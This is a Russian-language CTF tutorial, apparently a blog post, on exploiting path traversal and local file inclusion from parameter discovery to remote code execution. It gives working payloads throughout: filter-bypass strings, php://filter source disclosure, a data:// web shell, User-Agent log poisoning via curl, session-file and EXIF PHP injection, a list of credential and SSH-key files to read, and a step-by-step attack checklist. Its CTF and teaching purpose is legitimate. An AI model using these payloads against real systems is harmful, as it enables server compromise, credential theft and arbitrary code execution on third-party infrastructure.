
На недавнем CTF я трижды прогнал SQLMap по форме авторизации, получил ноль результатов и переключился на XSS — а first blood по таску взял игрок, который за три минуты нашёл параметр ?template= и вытащил флаг через php://filter. Обидно? Ещё как. Path traversal и LFI стабильно входят в тройку самых частых категорий web-задач на соревнованиях, но русскоязычные разборы обычно заканчиваются на примере с /etc/passwd. Дальше — тишина. А здесь — полный путь от обнаружения уязвимого параметра до выполнения произвольного кода на сервере: с рабочими пейлоадами, таблицей предусловий для каждой техники обхода и конкретным алгоритмом перебора, который можно открыть на соревновании и идти по шагам.
По определению OWASP, path traversal (directory traversal) — атака, при которой злоумышленник манипулирует файловыми путями через последовательности ../ для доступа к файлам за пределами разрешённой директории. LFI (Local File Inclusion) — уязвимость, при которой приложение подключает локальный файл через механизм include или require. Подробнее — в нашем подробном разборе пентест веб-приложений.
Различие критично для CTF: path traversal даёт только чтение файла, LFI может дать его выполнение как кода. Если таск заканчивается на чтении /flag.txt — это path traversal. Если нужен полноценный RCE через log poisoning или PHP wrappers — это эксплуатация LFI. Путаешь одно с другим — тратишь время не на тот вектор.
В терминологии MITRE ATT&CK начальная эксплуатация маппится на Exploit Public-Facing Application (T1190, Initial Access). Чтение файлов — Data from Local System (T1005, Collection). Вытаскивание учётных данных из конфигов — Credentials In Files (T1552.001, Credential Access). Чтение SSH-ключей — Private Keys (T1552.004). Чтение /etc/passwd через LFI — это скорее Data from Local System (T1005) или File and Directory Discovery (T1083). Маппинг на OS Credential Dumping: /etc/passwd and /etc/shadow (T1003.008) обоснован только при получении /etc/shadow с хешами паролей, пригодными для офлайн-взлома.
Отдельно — Remote File Inclusion (RFI): приложение подключает файл с удалённого сервера. В PHP для этого нужен allow_url_include = On. В продакшене это крайняя редкость, в CTF встречается — но значительно реже, чем LFI.
Зачем это злоумышленнику вне CTF? Path traversal и LFI — одна из самых результативных точек входа для дальнейшей эскалации. Прочитал .env — получил пароль от базы данных. Прочитал SSH-ключ — зашёл на сервер. Прочитал исходный код приложения — нашёл захардкоженный API-токен или скрытый эндпоинт без аутентификации. По данным Verizon DBIR 2025, доля веб-атак среди подтверждённых нарушений — 26%, и directory traversal стабильно сидит в этой статистике.
Первое действие при разведке web-таска — поиск параметров, принимающих имена файлов. По данным HackTricks, типичные уязвимые параметры: page, file, template, path, doc, folder, include, view, content, layout, mod, conf, action, board, site, show, locate. Список не исчерпывающий, но покрывает большинство CTF-задач.
Уязвимые паттерны делятся на три группы. Шаблонизация: ?page=about, ?view=news, ?template=invoice. Загрузка файлов: ?file=report.pdf, ?download=image.png. Превью и просмотр: ?path=latest.log, ?preview=template.html. В API-запросах traversal чаще прячется в теле POST: {"filename": "report.csv"} или {"templatePath": "invoice.html"}. Согласно YesWeHack, в современных API traversal встречается именно в JSON-параметрах, а не в query string.
Корень проблемы — код, который подставляет пользовательский ввод напрямую в путь файла:
<?php
// Классика жанра: пользовательский ввод летит прямо в include
$page = $_GET['page'] ?? 'home';
include('/var/www/templates/' . $page . '.php');
?>
Здесь $page контролируется атакующим. Но код добавляет суффикс .php, поэтому чистый traversal вроде ../../etc/passwd даст путь /var/www/templates/../../etc/passwd.php — несуществующий файл. Для успешной эксплуатации нужен null byte (%00, только PHP < 5.3.4) либо wrapper php://filter, который игнорирует добавленное расширение. Без суффикса .php в коде traversal сработал бы напрямую. Безопасная альтернатива — allowlist: пользовательский ввод сопоставляется со словарём разрешённых значений, а не подставляется в путь.
Для быстрого перебора путей использую ffuf с wordlist из SecLists (каталог Fuzzing/LFI/):
ffuf -u "http://target/page.php?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fc 403 -fs 0
Флаг -fc 403 фильтрует ответы с кодом 403, -fs 0 отсекает пустые. Остаются только те варианты, где сервер вернул реальный контент. YesWeHack рекомендует аналогичный подход с кастомными словарями.
На CTF-платформах с rate limiting автоматический фаззинг может вызвать блокировку. Тогда переключаюсь на ручной перебор в Burp Repeater: отправляю запрос, модифицирую параметр, смотрю ответ. Медленнее, но не триггерит WAF. Repeater ещё и историю попыток сохраняет — после десятка проверок видно закономерность в том, что именно фильтрует сервер.
Большинство CTF-задач средней и высокой сложности фильтруют ввод. Наивные проверки (удаление ../ из строки, блокировка по подстроке) обходятся почти всегда. Ниже — полная таблица техник с предусловиями, без которых каждая из них бесполезна.
| Техника | Пейлоад | Когда работает | Когда НЕ работает |
|---|---|---|---|
| Двойная последовательность | ....//....//etc/passwd |
Однократный str_replace("../", "") |
Рекурсивная фильтрация |
| URL-кодирование | %2e%2e%2fetc%2fpasswd |
Фильтр до декодирования | Фильтр после декодирования |
| Двойное URL-кодирование | %252e%252e%252f |
Многослойная архитектура (Nginx + Node.js + Python) | Однослойная обработка |
| Null byte | ../../../etc/passwd%00.php |
PHP < 5.3.4 | Современный PHP (5.3.4+) |
| Абсолютный путь | /etc/passwd |
Фильтр проверяет только ../ |
Канонизация пути |
| Обход начала пути | /var/www/images/../../../etc/passwd |
Проверяется начало строки, но не весь путь | realpath() + проверка |
| Смешанные разделители | ..\..\..\etc\passwd |
Windows/IIS, где оба разделителя нормализуются одинаково | Linux (POSIX не интерпретирует \ как разделитель пути, но может сработать, если код приложения сам нормализует \ в / перед подстановкой) |
Двойные последовательности — первое, что пробую после неудачи с базовым ../. Логика простая: если код делает однократный str_replace("../", "", $input), то из строки ....// после удаления ../ остаётся ../ — ровно то, что нужно. По данным HackTricks, это один из самых частых обходов в CTF. И один из самых обидных, когда не догадался сразу.
URL-кодирование опирается на документацию OWASP по Path Traversal, где перечислены варианты percent encoding: %2e%2e%2f для ../, %2e%2e%5c для ..\ и двойное кодирование %252e%252e%255c. Двойное кодирование срабатывает, когда запрос проходит через несколько слоёв. Первый слой превращает %252e%252e%252f в %2e%2e%2f, второй — в ../. Фильтр на первом слое не видит traversal-последовательности, потому что проверяет строку до второго декодирования.
Null byte работает только на стендах с PHP до версии 5.3.4. Запрос ../../../etc/passwd%00.php обрежет строку на %00, и приложение откроет /etc/passwd вместо /etc/passwd.php. На PHP 5.3.4+ — бесполезна. Но CTF-авторы иногда намеренно разворачивают устаревшие стенды, так что держим в арсенале.
Порядок проверки — занимает три-четыре минуты в Burp Repeater:
../../../etc/passwd — если отработало, фильтров нет, идём к чтению ценных файлов....//....//....//etc/passwd — обход нерекурсивной фильтрации%2e%2e%2fetc%2fpasswd — одинарное URL-кодирование%252e%252e%252fetc%252fpasswd — двойное URL-кодирование/etc/passwd — абсолютный путь напрямую....\/....\/....\/etc/passwd — смешанные разделителиЕсли ни один вариант не зацепился — либо фильтрация серьёзная (канонизация через realpath(), chroot), либо уязвимость вообще в другом параметре или другом месте приложения. Не зацикливайся — переключайся.
PHP wrappers превращают простое чтение файлов в полноценную эксплуатацию LFI уязвимости веб-сервера. В CTF они появляются всё чаще, потому что позволяют авторам задач создавать многоуровневую сложность: одна и та же LFI требует разных wrappers в зависимости от конфигурации.
Самый частый wrapper в CTF-задачах. Проблема с обычным LFI: если подключить PHP-файл через include, он выполнится на сервере и покажет результат, а не исходный код. Wrapper php://filter решает это — кодирует содержимое в base64:
curl -s "http://target/page.php?file=php://filter/convert.base64-encode/resource=index"
# Ответ: PD9waHAKJHBhZ2UgPSAkX0dFVFsncGFnZSddID8/ICdob21lJzs...
echo "PD9waHAK..." | base64 -d
Результат — полный исходный код файла. В CTF это даёт доступ к логике приложения, захардкоженным ключам, путям к флагу, дополнительным уязвимостям в коде. Иногда флаг валяется прямо в комментарии — и ты такой: «Серьёзно? Вот так просто?»
Нюанс из HackTricks: php://filter регистронезависим. Запрос с PhP://FiLtEr тоже отработает — помогает обойти blacklist-фильтры, которые проверяют строку php://filter в нижнем регистре.
Кроме convert.base64-encode доступны цепочки фильтров: string.rot13, string.toupper, convert.iconv.utf-8.utf-16le. Их можно комбинировать через |: php://filter/string.toupper|string.rot13|string.tolower/resource=/etc/passwd. В CTF это редкость, но помогает обойти WAF, блокирующий base64-encode в URL.
Критически важное предусловие: для php://filter настройка allow_url_include НЕ нужна. Wrapper работает с дефолтной конфигурацией PHP. Именно поэтому в CTF-задачах php://filter встречается значительно чаще остальных wrappers — авторам не нужно городить нестандартную конфигурацию.
Wrapper data:// позволяет передать PHP-код прямо в URL. Запрос ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg== вставляет base64-закодированный веб-шелл <?php system($_GET['c']); ?>, который сервер выполнит через include. Wrapper php://input работает аналогично: PHP-код передаётся в теле POST-запроса. Оба требуют не только allow_url_include = On, но и allow_url_fopen = On (включён по умолчанию, но может быть отключён администратором).
| Wrapper | Требует allow_url_include | Результат | Частота в CTF |
|---|---|---|---|
| php://filter | Нет | Чтение исходного кода | Очень высокая |
| data:// | Да (On) | Выполнение произвольного PHP | Средняя |
| php://input | Да (On) | Выполнение произвольного PHP | Средняя |
| zip:// | Нет | Выполнение PHP из архива | Низкая |
| phar:// | Нет | Десериализация + выполнение | Низкая |
Wrappers zip:// и phar:// не требуют allow_url_include, но нуждаются в предварительной загрузке файла на сервер. Важный нюанс: phar:// десериализация может триггериться не только через include(), но и через любую файловую функцию — file_exists(), is_file(), filemtime(), stat() — если phar-файл доступен на диске. Это расширяет вектор атаки за пределы классической LFI через include. Есть на таске функция аплоада? Загружаем ZIP-архив с PHP-файлом внутри, затем подключаем через zip:///var/www/uploads/evil.zip%23shell.php. Рабочий вектор.
Чтение файлов — полдела. В задачах повышенной сложности требуется полноценный RCE, и тогда LFI уязвимость — стартовая точка цепочки. Ниже — техники, которые работают, когда wrappers data:// и php://input недоступны из-за выключенного allow_url_include.
Суть: записать PHP-код в лог-файл веб-сервера, затем подключить этот лог через LFI. Типичные пути к логам — /var/log/apache2/access.log для Apache, /var/log/nginx/access.log для Nginx. HackTricks перечисляет оба как стандартные цели для log poisoning.
Атака в два шага. Первый — отправляем запрос с PHP-кодом в заголовке User-Agent:
curl -A "<?php system(\$_GET['c']); ?>" http://target/
Веб-сервер запишет содержимое User-Agent в access log. Тонкость: некоторые конфигурации логирования экранируют специальные символы или обрезают длину User-Agent. Если log poisoning не сработал — прочитайте лог через LFI без инъекции и проверьте формат вручную. Второй шаг — подключаем лог через LFI: ?file=../../../var/log/apache2/access.log&c=id. Сервер выполнит PHP-код из лога.
Предусловия: процесс веб-сервера должен иметь права на чтение лог-файла, путь к логу должен быть известен или угадан через перебор стандартных путей. На некоторых CTF-стендах логи ротируются каждые несколько минут — если payload не сработал с первого раза, повторите инъекцию в User-Agent и подключите лог заново.
Помимо access logs, HackTricks описывает аналогичный вектор через error logs и даже через отправку email (если на сервере работает sendmail — PHP-код попадает в mail log /var/log/mail).
Файл /proc/self/environ содержит переменные окружения текущего процесса. По данным Invicti, переменные окружения часто включают HTTP-заголовки, переданные клиентом. Если процесс веб-сервера имеет доступ к этому файлу — внедряем PHP-код через заголовок User-Agent и подключаем /proc/self/environ через LFI.
Даже без RCE, чтение /proc/self/environ бывает ценнее, чем кажется. Переменные окружения часто содержат API-ключи, токены, пароли баз данных — всё, что разработчик вынес из кода в environment variables «для безопасности» (ирония). В контексте MITRE ATT&CK — Credentials In Files (T1552.001).
Другие полезные файлы в /proc:
/proc/self/cmdline — командная строка запуска процесса (иногда содержит пароли в аргументах)/proc/net/tcp — активные TCP-соединения в hex-формате (помогает при разведке внутренней сети)/proc/self/fd/N — файловые дескрипторы (через перебор N от 0 до 50 иногда доступны временные файлы, загруженные другими пользователями)/proc/version — версия ядра Linux (полезно для подбора kernel exploit в задачах с privilege escalation)PHP хранит данные сессий в файлах. Стандартные пути: /tmp/sess_<PHPSESSID> или /var/lib/php/sessions/sess_<PHPSESSID>. Если приложение сохраняет пользовательский ввод в сессии (имя пользователя, язык, любое текстовое поле) — можно внедрить PHP-код. Регистрируемся с именем <?php system($_GET['c']); ?>, затем подключаем файл сессии через LFI. Значение SESSION_ID берём из cookie PHPSESSID.
Предусловие: приложение должно записывать контролируемые данные в сессию, а путь хранения сессий должен быть доступен для чтения через LFI. На большинстве стандартных конфигураций PHP сессии хранятся в /tmp/ — директории, доступной для чтения всем.
Если на таске есть функция загрузки файлов (аватары, документы) — можно загрузить файл с PHP-кодом. Даже при проверке расширения PHP-код можно спрятать в метаданных изображения: EXIF-поле Comment в JPEG-файле. При подключении такого файла через include — весь PHP-код из метаданных выполнится, несмотря на расширение .jpg. Сервер не смотрит на расширение, когда выполняет include — ему всё равно, .jpg это или .php.
После подтверждения LFI или path traversal следующий шаг — вытащить максимум информации. Invicti и HackTricks описывают десятки целевых файлов; ниже — приоритизированный список для CTF.
Linux — системные файлы:
- /etc/passwd — список пользователей, T1003.008
- /etc/shadow — хэши паролей (требует root-привилегий)
- /home/<user>/.ssh/id_rsa — приватные SSH-ключи, T1552.004
- /home/<user>/.bash_history — история команд (пароли в открытом виде)
- /root/.bash_history — история root-сессии
Файловая система /proc:
- /proc/self/environ — переменные окружения с секретами
- /proc/self/cmdline — аргументы процесса
- /proc/version — версия ядра для подбора эксплоитов
- /proc/net/tcp, /proc/net/arp — сетевая разведка, File and Directory Discovery (T1083)
- /proc/mounts, /etc/fstab — смонтированные файловые системы
Файлы приложений:
- .env — переменные окружения приложения (DB-креды, API-ключи, флаги)
- config.php, wp-config.php, settings.py, application.yml — конфигурация
- Исходный код через php://filter — для поиска скрытых эндпоинтов и логики
Windows:
- C:\Windows\win.ini — PoC для подтверждения traversal
- C:\inetpub\wwwroot\web.config — конфигурация IIS с возможными секретами
- C:\Users\<user>\NTUser.dat — реестр пользователя
Облачные среды. По данным YesWeHack, в облачных окружениях добавляются специфичные цели: /var/task/index.js (исходный код AWS Lambda — runtime хранит код в /var/task/). Если LFI найдена в серверлесс-функции — это полное раскрытие исходного кода приложения, включая IAM-роль и переменные окружения со всеми секретами.
Отдельный сценарий, который в русскоязычных разборах вообще не упоминается. YesWeHack описывает его детально: в микросервисной архитектуре фронтенд-сервер принимает запрос пользователя и пересылает его внутреннему API. Если пользовательский ввод попадает в URL внутреннего запроса, traversal позволяет обращаться к произвольным эндпоинтам внутреннего API.
Пример: POST-запрос с {"user_id": "456"} на фронтенде превращается во внутренний вызов POST /api/v1/users/456. Подставляем {"user_id": "../../admin/roles"} — внутренний запрос уходит на /api/v1/admin/roles, привилегированный эндпоинт, недоступный снаружи. Это уже не чтение файлов, а обход авторизации через path traversal в API. В CTF-задачах продвинутого уровня такой вектор встречается всё чаще. На реальных проектах — тоже, особенно в микросервисном зоопарке, где каждый сервис доверяет соседу.
Собираю всё в единую последовательность действий. Можно распечатать и положить рядом с ноутбуком на CTF:
ffuf с wordlist LFI-Jhaddix.txt.../../../etc/passwd. Сработало — фильтров нет, перехожу к шагу 4.php://filter/convert.base64-encode/resource=index — вытаскиваю исходный код. Анализирую на захардкоженные секреты, пути к флагу, дополнительные уязвимости..env, конфиги приложения, /proc/self/environ, SSH-ключи, bash_history.allow_url_include = On — data:// или php://input напрямую.Эта последовательность закрывает подавляющее большинство CTF-задач по категории local file inclusion. В задачах экстремальной сложности встречаются PHP filter chains для RCE без записи файла на диск — но это отдельная большая тема.
По моим наблюдениям за два года активных CTF, главная причина провала на web-тасках с LFI — не нехватка знаний о пейлоадах, а отсутствие системного алгоритма. Человек знает про ../, знает про php://filter, но не имеет чёткой последовательности: что проверять первым, когда переключаться на следующую технику, когда останавливаться и менять вектор. Тратит полчаса на ручной подбор traversal-последовательностей, когда задача решалась абсолютным путём за минуту.
Вторая системная ошибка — зацикленность на /etc/passwd как конечной цели. Прочитал passwd — и сидит. А дальше .env с паролем от базы, config.php с флагом в комментарии, SSH-ключ в /home/user/.ssh/id_rsa, исходный код приложения через php://filter с новым вектором атаки внутри. Path traversal и LFI уязвимости — не одноразовый трюк, а категория разведки, которая кормит все последующие этапы.
Ещё один момент, который редко обсуждают: навык находить LFI за три минуты на CTF напрямую переносится на боевые проекты. API-эндпоинты для экспорта отчётов, превью документов, загрузки логов — те же уязвимые параметры, только спрятанные за JSON-телом запроса. Кто набил руку на соревнованиях — тот увидит этот вектор на пентесте раньше, чем коллеги запустят сканер. Если хочешь не просто writeup, а пройти всю атаку от разведки до RCE самому — на WAPT есть лаба именно с этим вектором плюс ментор в чате при затыке.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...